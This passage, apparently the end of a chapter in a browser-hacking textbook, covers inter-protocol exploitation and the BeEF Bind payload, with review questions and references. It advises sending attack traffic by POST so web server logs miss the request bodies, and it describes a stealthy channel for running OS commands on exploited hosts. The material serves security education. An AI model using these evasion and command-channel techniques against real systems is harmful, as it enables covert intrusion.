The previously discussed JavaScript code can then be used to interact with this script simply by changing the Content-Type with:

xhr.setRequestHeader("Content-Type",

"application/x-www-form-urlencoded");

In general, it is better to use a POST request instead of a GET request because an Apache web server will not log the body of a POST request by default:

172.16.37.1 - - [10/Aug/2013:12:31:56 +0100]

"POST /BeEF_Bind.php HTTP/1.1" 200 54884

"http://browserhacker.com/" "Mozilla/5.0

(Macintosh; Intel Mac OS X 10.8; rv:22.0)

Gecko/20100101 Firefox/22.0"

172.16.37.1 - - [10/Aug/2013:12:32:10 +0100]

"POST /BeEF_Bind.php HTTP/1.1" 200 5766

"http://browserhacker.com/" "Mozilla/5.0

(Macintosh; Intel Mac OS X 10.8; rv:22.0)

Gecko/20100101 Firefox/22.0"

The BeEF Bind aims to be a lightweight, platform-agnostic payload. It is used to abuse application flaws to expose backend channels for further communication and exploitation. Its two-phase architecture means that the initial Stager can be inserted in fairly tight constraints, allowing for larger Stages to come later.

By exposing an open CORS web interface, any further OS commands can be submitted to the impacted system. Also, due to BeEF Bind’s relatively simple construction, it can be ported to numerous languages.

Summary

The techniques explored in this chapter have targeted network devices and non-HTTP protocols. Aside from exploiting web interfaces within network devices, the majority of attacks focused on Inter-protocol scenarios.

It is not a standard Use Case for a web browser to be able to communicate with an IRC server directly, but as shown, this is certainly possible. This kind of communication is unlikely to have been envisioned when browsers were developed. The attacks bounce off the browser to communicate with non-HTTP services, and in some instances, exploit them employing almost standard exploitation methods.

Using Inter-protocol Communication and Inter-protocol Exploitation techniques, you can launch exploits at the network’s soft underbelly. In many cases this even negates the need to battle through the hardened perimeter controls, such as network firewalls. These attack methods often refute the assumption that “just because a device is on the intranet, it must be protected”.

In this chapter, you also examined the BeEF Bind payload. It allows you to conduct indirect communication with a target exploited via an IPE. BeEF Bind now gives you the ability to ricochet your communication channel off the browser without needing to create a noisy egress connection through the firewall. This gives you a much stealthier way to communicate back to your BeEF Server.

Many of these attacks concentrated on enhancing the network access available to you, either through making unauthorized changes, or by exploiting additional services. Many of these vectors are still in their infancy, and the possibilities of exploiting other non-web protocols cross-origin from the browser continue to be an interesting arena for security researchers.

Questions

1. Describe how to retrieve your target’s internal network IP address, and why this step is important.

2. If you’re unable to detect your target’s internal network IP address, what else can you do to identify its subnet?

3. Why is port banning an important security control?

4. How can you verify if TCP ports 22, 25, and 143, which are banned by every browser, are actually open?

5. Explain the NAT Pinning attack.

6. When you achieve Inter-protocol Communication, is the SOP bypassed?

7. Describe what Inter-protocol Exploitation is, with an example.

8. What are the limitations of Inter-protocol Exploitation?

9. Why is the BeEF Bind split into two requests, and what are they?

10. Why is CORS important to BeEF Bind?

For answers to the questions, please refer to the book’s website https://browserhacker.com. or the Wiley website at: www.wiley.com/go/browserhackershandbook.

Notes

1. Mozilla. (2012). 748343––remove support for ‘java’ DOM object. Retrieved December 7, 2013 from https://bugzilla.mozilla.org/show_bug.cgi?id=748343

2. Lars Kindermann. (2011). My Address Java Applet. Retrieved October 29, 2013 from http://reglos.de/myaddress/MyAddress.html

3. W3C. (2011). WebRTC 1.0. Retrieved October 29, 2013 from http://dev.w3.org/2011/webrtc/editor/webrtc.html

4. Louis Stowasser. (2013). WebRTC and the Ocean of Acronyms. Retrieved October 29, 2013 from https://hacks.mozilla.org/2013/07/webrtc-and-the-ocean-of-acronyms/

5. M. Hanley, V. Jacobson, and C. Perkins. (2013). SDP: Session Description Protocol. Retrieved October 29, 2013 from http://tools.ietf.org/html/rfc4566

6. Nathan Vander Wilt. (2013). Detecting Internal IP address with WebRTC. Retrieved October 29, 2013 from https://twitter.com/natevw/status/375517540484513792

7. Robert Hansen. (2009). XHR ping sweeping in Firefox 3.5. Retrieved October 29, 2013 from http://ha.ckers.org/blog/20090720/xmlhttpreqest-ping-sweeping-in-firefox-35/

8. SPI Dynamics Labs. (2006). Detecting, Analyzing, and Exploiting Intranet Applications using JavaScript. Retrieved October 29, 2013 from http://www.rmccurdy.com/scripts/docs/spidynamics/JSportscan.pdf

9. Jeremiah Grossman. (2006). Hacking intranet websites from the outside. Retrieved October 29, 2013 from http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Grossman.pdf

10. Petko Petkov. (2006). JavaScript portscanner. Retrieved October 29, 2013 from http://www.gnucitizen.org/blog/javascript-port-scanner/

11. Sandro Gauci. (2002). Extended HTML Form Attack. Retrieved October 29, 2013 from http://eyeonsecurity.org/papers/Extended%20HTML%20Form%20Attack.htm

12. Sandro Gauci. (2008). The Extended HTML Form Attack revisited. Retrieved October 29, 2013 from https://resources.enablesecurity.com/resources/the%20extended%20html%20form%20attack%20revisited.pdf

13. The Chromium Authors. (2012). net_util.cc. Retrieved October 29, 2013 from http://src.chromium.org/svn/trunk/src/net/base/net_util.cc

14. Mozilla. (2008). nsIOService.cpp. Retrieved October 29, 2013 from http://lxr.mozilla.org/seamonkey/source/netwerk/base/src/nsIOService.cpp#87

15. Petko Petkov. (2010). Attack API. Retrieved October 29, 2013 from https://code.google.com/p/attackapi/

16. Javier Marcos and Juan Galiana. (2011). Pwning intranets with HTML5. Retrieved October 29, 2013 from http://2011.appsecusa.org/p/pwn.pdf

17. Michele Orru. (2013). BeEF RESTful API. Retrieved October 29, 2013 from https://github.com/beefproject/beef/wiki/BeEF-RESTful-API

18. Mark Lowe. (2007). Manipulating FTP Clients Using The PASV Command. Retrieved October 29, 2013 from http://bindshell.net/papers/ftppasv/ftp-client-pasv-manipulation.pdf

19. W3C. (2013). XMLHttpRequest states. Retrieved October 29, 2013 from http://www.w3.org/TR/XMLHttpRequest/#states

20. Sami Kamkar. (2010). NATpin. Retrieved October 29, 2013 from http://samy.pl/natpin/

21. Van Hauser and David Maciejak. (2013). THC Hydra. Retrieved October 29, 2013 from http://www.thc.org/thc-hydra/

22. FDS Team. (2013). Security vulnerability: Routers acting as proxy when sending fake IRC messages. Retrieved October 29, 2013 from http://fds-team.de/cms/articles/2013-06/security-vulnerability-routers-acting-as-proxy-when-sending-fake.html

23. Wikipedia. (2013). Direct Client-to-Client. Retrieved October 29, 2013 from http://en.wikipedia.org/wiki/Direct_Client-to-Client

24. Harald Welte and Patrick McHardy . (2013). IRC extension for IP connection tracking . Retrieved October 29, 2013 from https://github.com/torvalds/linux/blob/master/net/netfilter/nf_conntrack_irc.c

25. Regit. (2013). Open SVP. Retrieved October 29, 2013 from https://home.regit.org/software/opensvp/

26. Wade Alcorn. (2006). Inter-Protocol Communication. Retrieved October 29, 2013 from http://www.bindshell.net/papers/ipc.html

27. Mozilla. (2013). JavaScript Typed Arrays. Retrieved October 29, 2013 from https://developer.mozilla.org/en-US/docs/Web/JavaScript/Typed_arrays

28. Chromium Bugtracker. (2010). Issue 35705: Extend XmlHttpRequest with getAsBinary() and sendAsBinary() methods. Retrieved October 29, 2013 from https://code.google.com/p/chromium/issues/detail?id=35705

29. Dan Goodin. (2010). Firefox inter-protocol attack. Retrieved October 29, 2013 from http://www.theregister.co.uk/2010/01/30/firefox_interprotocol_attack/

30. Freenode blog. (2013). JavaScript spam. Retrieved October 29, 2013 from http://blog.freenode.net/2010/01/javascript-spam/

31. Deral Heiland. (2011). From printer to pwnd. Retrieved October 29, 2013 from http://foofus.net/goons/percx/defcon/P2PWND.pdf

32. Aaron Weaver. (2007). Cross site printing. Retrieved October 29, 2013 from http://www.net-security.org/dl/articles/CrossSitePrinting.pdf

33. HP Support Center. (2013). HP Jetdirect Print Servers. Retrieved October 29, 2013 from http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?prodSeriesId=308316&objectID=c00048636

34. Adobe. (1999). PostScript language reference. Retrieved October 29, 2013 from http://partners.adobe.com/public/developer/en/ps/PLRM.pdf

35. Wade Alcorn. (2007). Inter-Protocol Exploitation. Retrieved October 29, 2013 from http://nccgroup.com/media/18511/inter-protocol_exploitation.pdf

36. Chris Anley, John Heasman, Felix Lindner, and Gerardo Richarte. (2007). The Shellcoder’s Handbook, 2nd Edition. Retrieved October 29, 2013 from http://eu.wiley.com/WileyCDA/WileyTitle/productCd-047008023X.html

37. Ty Miller and Michele Orrù. (2012). Exploiting internal network vulns via the browser using BeEF Bind. Retrieved October 29, 2013 from http://2012.ruxcon.org.au/speakers/#Ty%20Miller%20&%20Michele%20Orru

38. SecForce. (2013). Inter-Protocol Communication-Exploitation. Retrieved October 29, 2013 from http://www.secforce.com/blog/tag/inter-protocol-exploitation/

39. Denis Bazhenov. (2013). Groovy Shell server. Retrieved October 29, 2013 from https://github.com/bazhenov/groovy-shell-server

40. Brendan Coles. (2011). EXTRACT Inter-Protocol exploitation. Retrieved October 29, 2013 from http://itsecuritysolutions.org/2011-12-16-Privilege-escalation-and-remote-inter-protocol-exploitation-with-EXTRACT-0.5.1/

41. GNU. (2013). Bash Brace Expansion. Retrieved October 29, 2013 from https://www.gnu.org/software/bash/manual/html_node/Brace-Expansion.html

42. Tim Shelton. (2005). Qualcomm WorldMail IMAPD Buffer Overflow Vulnerability. Retrieved October 29, 2013 from http://www.securityfocus.com/bid/15980/info

43. Craig Freyman. (2013). ActiveFax raw server exploit. Retrieved October 29, 2013 from http://www.pwnag3.com/2013/02/actfax-raw-server-exploit.html

44. ActFax. (2013). ActiveFax manual. Retrieved October 29, 2013 from http://www.actfax.com/download/actfax_manual_en.pdf

45. Mozilla. (2013). XMLHttpRequest abort() method. Retrieved October 29, 2013 from https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest?redirectlocale=en-US&redirectslug=DOM%2FXMLHttpRequest#abort()

46. Corelan Team. (2013). Mona. Retrieved October 29, 2013 from http://redmine.corelan.be/projects/mona

47. Stephen Fewer. (2009). Block Bind TCP shellcode. Retrieved October 29, 2013 from https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_bind_tcp.asm